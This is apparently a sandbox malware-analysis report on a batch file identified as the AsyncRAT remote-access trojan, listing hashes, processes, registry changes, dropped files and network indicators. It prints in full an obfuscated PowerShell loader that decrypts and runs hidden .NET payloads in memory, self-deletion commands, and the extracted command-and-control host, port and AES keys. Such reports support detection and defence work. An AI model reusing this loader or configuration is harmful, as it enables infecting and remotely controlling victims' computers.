| File name: | rain.bat |
| Full analysis: | https://app.any.run/tasks/8ee5a115-7ade-4c8b-9c04-b357de1330a8 |
| Verdict: | Malicious activity |
| Threats: | AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions. |
| Analysis date: | January 19, 2024, 16:35:47 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with very long lines, with CRLF line terminators |
| MD5: | F224D4174FE90EB1F75EBD0A0B91ADFB |
| SHA1: | 052A642D0D71D0BDB7369E2CF120D1517C905EAB |
| SHA256: | 66F273E6E122F7CDF0536864EACFDFBAF76634557165F7773C5B38E8C68BBF4B |
| SSDEEP: | 1536:N1kdXY62fPuoafS4Sy+D0IN4hxFmr+7bagKpUE44MDfx:Nul2fPuoafS4W0a4h2r+7vKpUE44MDfx |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 668 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(2072);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | rain.bat.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| 1056 | C:\Windows\system32\cmd.exe /K "C:\Users\admin\AppData\Local\Temp\rain.bat" | C:\Windows\System32\cmd.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1504 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Roaming\lveka.vbs" | C:\Windows\System32\wscript.exe | — | rain.bat.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 1536 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(2128);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | lveka.bat.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| 1776 | C:\Windows\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\rain.bat" " | C:\Windows\System32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1972 | C:\Windows\system32\cmd.exe /c ""C:\Users\admin\AppData\Roaming\lveka.bat" " | C:\Windows\System32\cmd.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2072 | "C:\Users\admin\AppData\Local\Temp\rain.bat.exe" -w hidden -c $zCGe='InvOMHhokOMHheOMHh'.Replace('OMHh', '');$TNot='FirOMHhsOMHhtOMHh'.Replace('OMHh', '');$LhpA='CrOMHheateOMHhDecrOMHhyOMHhptOMHhorOMHh'.Replace('OMHh', '');$Fbab='ChaOMHhngeOMHhExOMHhteOMHhnsOMHhiOMHhoOMHhnOMHh'.Replace('OMHh', '');$LqGV='GetOMHhCurrOMHhentOMHhPrOMHhocOMHhessOMHh'.Replace('OMHh', '');$ltdc='MOMHhainOMHhMOMHhoOMHhdOMHhuleOMHh'.Replace('OMHh', '');$IZgb='ReaOMHhdLiOMHhneOMHhsOMHh'.Replace('OMHh', '');$fJiW='SOMHhpOMHhlitOMHh'.Replace('OMHh', '');$CTKP='LoaOMHhdOMHh'.Replace('OMHh', '');$MfGa='EntOMHhryOMHhPoinOMHhtOMHh'.Replace('OMHh', '');$uMSP='TOMHhransOMHhfOMHhorOMHhmFOMHhinalOMHhBloOMHhckOMHh'.Replace('OMHh', '');$iNLl='FroOMHhmBOMHhaOMHhse64OMHhStrOMHhiOMHhngOMHh'.Replace('OMHh', '');function BVGBJ($brXcq){$MAYiV=[System.Security.Cryptography.Aes]::Create();$MAYiV.Mode=[System.Security.Cryptography.CipherMode]::CBC;$MAYiV.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$MAYiV.Key=[System.Convert]::$iNLl('L1o/8p/B7L2d9hQ4eCLQLM4LrvLbmhevljh9BFLdQJ0=');$MAYiV.IV=[System.Convert]::$iNLl('G98UJ8fNWS+zLRcyqZYK/g==');$baaQL=$MAYiV.$LhpA();$OryHd=$baaQL.$uMSP($brXcq,0,$brXcq.Length);$baaQL.Dispose();$MAYiV.Dispose();$OryHd;}function tzHUu($brXcq){$yREyw=New-Object System.IO.MemoryStream(,$brXcq);$Uhvit=New-Object System.IO.MemoryStream;$JtfEX=New-Object System.IO.Compression.GZipStream($yREyw,[IO.Compression.CompressionMode]::Decompress);$JtfEX.CopyTo($Uhvit);$JtfEX.Dispose();$yREyw.Dispose();$Uhvit.Dispose();$Uhvit.ToArray();}$nhjCT=[System.Linq.Enumerable]::$TNot([System.IO.File]::$IZgb([System.IO.Path]::$Fbab([System.Diagnostics.Process]::$LqGV().$ltdc.FileName, $null)));$Wmvpd=$nhjCT.Substring(3).$fJiW(':');$vHgoc=tzHUu (BVGBJ ([Convert]::$iNLl($Wmvpd[0])));$EQpKu=tzHUu (BVGBJ ([Convert]::$iNLl($Wmvpd[1])));[System.Reflection.Assembly]::$CTKP([byte[]]$EQpKu).$MfGa.$zCGe($null,$null);[System.Reflection.Assembly]::$CTKP([byte[]]$vHgoc).$MfGa.$zCGe($null,$null); | C:\Users\admin\AppData\Local\Temp\rain.bat.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| 2128 | "C:\Users\admin\AppData\Roaming\lveka.bat.exe" -w hidden -c $zCGe='InvOMHhokOMHheOMHh'.Replace('OMHh', '');$TNot='FirOMHhsOMHhtOMHh'.Replace('OMHh', '');$LhpA='CrOMHheateOMHhDecrOMHhyOMHhptOMHhorOMHh'.Replace('OMHh', '');$Fbab='ChaOMHhngeOMHhExOMHhteOMHhnsOMHhiOMHhoOMHhnOMHh'.Replace('OMHh', '');$LqGV='GetOMHhCurrOMHhentOMHhPrOMHhocOMHhessOMHh'.Replace('OMHh', '');$ltdc='MOMHhainOMHhMOMHhoOMHhdOMHhuleOMHh'.Replace('OMHh', '');$IZgb='ReaOMHhdLiOMHhneOMHhsOMHh'.Replace('OMHh', '');$fJiW='SOMHhpOMHhlitOMHh'.Replace('OMHh', '');$CTKP='LoaOMHhdOMHh'.Replace('OMHh', '');$MfGa='EntOMHhryOMHhPoinOMHhtOMHh'.Replace('OMHh', '');$uMSP='TOMHhransOMHhfOMHhorOMHhmFOMHhinalOMHhBloOMHhckOMHh'.Replace('OMHh', '');$iNLl='FroOMHhmBOMHhaOMHhse64OMHhStrOMHhiOMHhngOMHh'.Replace('OMHh', '');function BVGBJ($brXcq){$MAYiV=[System.Security.Cryptography.Aes]::Create();$MAYiV.Mode=[System.Security.Cryptography.CipherMode]::CBC;$MAYiV.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$MAYiV.Key=[System.Convert]::$iNLl('L1o/8p/B7L2d9hQ4eCLQLM4LrvLbmhevljh9BFLdQJ0=');$MAYiV.IV=[System.Convert]::$iNLl('G98UJ8fNWS+zLRcyqZYK/g==');$baaQL=$MAYiV.$LhpA();$OryHd=$baaQL.$uMSP($brXcq,0,$brXcq.Length);$baaQL.Dispose();$MAYiV.Dispose();$OryHd;}function tzHUu($brXcq){$yREyw=New-Object System.IO.MemoryStream(,$brXcq);$Uhvit=New-Object System.IO.MemoryStream;$JtfEX=New-Object System.IO.Compression.GZipStream($yREyw,[IO.Compression.CompressionMode]::Decompress);$JtfEX.CopyTo($Uhvit);$JtfEX.Dispose();$yREyw.Dispose();$Uhvit.Dispose();$Uhvit.ToArray();}$nhjCT=[System.Linq.Enumerable]::$TNot([System.IO.File]::$IZgb([System.IO.Path]::$Fbab([System.Diagnostics.Process]::$LqGV().$ltdc.FileName, $null)));$Wmvpd=$nhjCT.Substring(3).$fJiW(':');$vHgoc=tzHUu (BVGBJ ([Convert]::$iNLl($Wmvpd[0])));$EQpKu=tzHUu (BVGBJ ([Convert]::$iNLl($Wmvpd[1])));[System.Reflection.Assembly]::$CTKP([byte[]]$EQpKu).$MfGa.$zCGe($null,$null);[System.Reflection.Assembly]::$CTKP([byte[]]$vHgoc).$MfGa.$zCGe($null,$null); | C:\Users\admin\AppData\Roaming\lveka.bat.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
AsyncRat(PID) Process(2128) lveka.bat.exe C2 (1)hicham157484.ddns.net Ports (1)1994 BotnetDefault Version0.5.7B Options AutoRunfalse MutexAsyncMutex_6SI8OkPnk InstallFolder%AppData% BSoDfalse AntiVMfalse Certificates Cert1MIIE8jCCAtqgAwIBAgIQALBkRuNCTqKtgapRE9OFfzANBgkqhkiG9w0BAQ0FADAaMRgwFgYDVQQDDA9Bc3luY1JBVCBTZXJ2ZXIwIBcNMjEwOTA4MTcxOTA2WhgPOTk5OTEyMzEyMzU5NTlaMBoxGDAWBgNVBAMMD0FzeW5jUkFUIFNlcnZlcjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAIUy6LUKGJiU+zs5YT6bYIiVfLqLpcI+LU0E4VJAwp9P6glbx/vcYicyK5/XI6drbESmiYtKXn2S... Server_SignatureU6yQDpYAiQhEe46iuFVN7EpkekpvYysTH1W+eRhh37rDTf9dC/g5VgaflSqm/M8fn8iz3fp1/I/C3GKkxbkrtP3P9Y9hIxzMM6/VRA3whE5RgzRbxsSnbZ8txE89x+P9tWIY6GxuAq0IrbGsU5d7CsCSopQSKYJ6/Vs2ZfR3+gTjafyuOFySodYInhhpU73i6vEP/MQL/ufuMWPcRL2Xjg34NhFRyFzUHXHvfhKk9zrS/NYNbO/dI+MNNWsc9DMx6gOVQsTZzSU6C7vy0FagzVGAoVdG8ItDOXY2VyC9dSWE... Keys AES620f154f8f8990c1a81c72e58222885dc066d6ea66f1e4be3b2bcfa06bdec3fd Saltbfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941 | |||||||||||||||
| (PID) Process: | (2072) rain.bat.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (2072) rain.bat.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (2072) rain.bat.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (2072) rain.bat.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
| (PID) Process: | (1504) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (1504) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (1504) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (1504) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
| (PID) Process: | (2128) lveka.bat.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (2128) lveka.bat.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2072 | rain.bat.exe | C:\Users\admin\AppData\Roaming\lveka.vbs | text | |
MD5:7FECB1428BF632FCF72CFD7ABFB85E61 | SHA256:016CDA08111F285D40A0C198453851BCB9BF8D0181D20C8497B8F64E5363FA98 | |||
| 2128 | lveka.bat.exe | C:\Users\admin\AppData\Local\Temp\m4gtip0i.w35.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 668 | powershell.exe | C:\Users\admin\AppData\Local\Temp\lcijmvrg.aod.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 2072 | rain.bat.exe | C:\Users\admin\AppData\Roaming\lveka.bat | text | |
MD5:F224D4174FE90EB1F75EBD0A0B91ADFB | SHA256:66F273E6E122F7CDF0536864EACFDFBAF76634557165F7773C5B38E8C68BBF4B | |||
| 668 | powershell.exe | C:\Users\admin\AppData\Local\Temp\stadzmfv.yhf.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 1972 | cmd.exe | C:\Users\admin\AppData\Roaming\lveka.bat.exe | executable | |
MD5:EB32C070E658937AA9FA9F3AE629B2B8 | SHA256:70BA57FB0BF2F34B86426D21559F5F6D05C1268193904DE8E959D7B06CE964CE | |||
| 1056 | cmd.exe | C:\Users\admin\AppData\Local\Temp\rain.bat.exe | executable | |
MD5:EB32C070E658937AA9FA9F3AE629B2B8 | SHA256:70BA57FB0BF2F34B86426D21559F5F6D05C1268193904DE8E959D7B06CE964CE | |||
| 2072 | rain.bat.exe | C:\Users\admin\AppData\Local\Temp\5ipfb5r3.ele.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 1536 | powershell.exe | C:\Users\admin\AppData\Local\Temp\rb4hvkyy.pwx.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 2128 | lveka.bat.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache | binary | |
MD5:6675EDE59684F4A119D2E5DA282AFBE6 | SHA256:5026C5EE8FA9ACB21718BF1FAD563C0A3FD5BC79327611FDF9C4ABD2647CE829 | |||
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
1080 | svchost.exe | 224.0.0.252:5355 | — | — | — | unknown |
2128 | lveka.bat.exe | 45.74.34.32:1994 | hicham157484.ddns.net | M247 Ltd | US | unknown |
Domain | IP | Reputation |
|---|---|---|
hicham157484.ddns.net |
| malicious |
dns.msftncsi.com |
| shared |
PID | Process | Class | Message |
|---|---|---|---|
1080 | svchost.exe | Potentially Bad Traffic | ET POLICY DNS Query to DynDNS Domain *.ddns .net |
1080 | svchost.exe | Potentially Bad Traffic | ET POLICY DNS Query to DynDNS Domain *.ddns .net |
1080 | svchost.exe | Potentially Bad Traffic | ET POLICY DNS Query to DynDNS Domain *.ddns .net |
1080 | svchost.exe | Potentially Bad Traffic | ET POLICY DNS Query to DynDNS Domain *.ddns .net |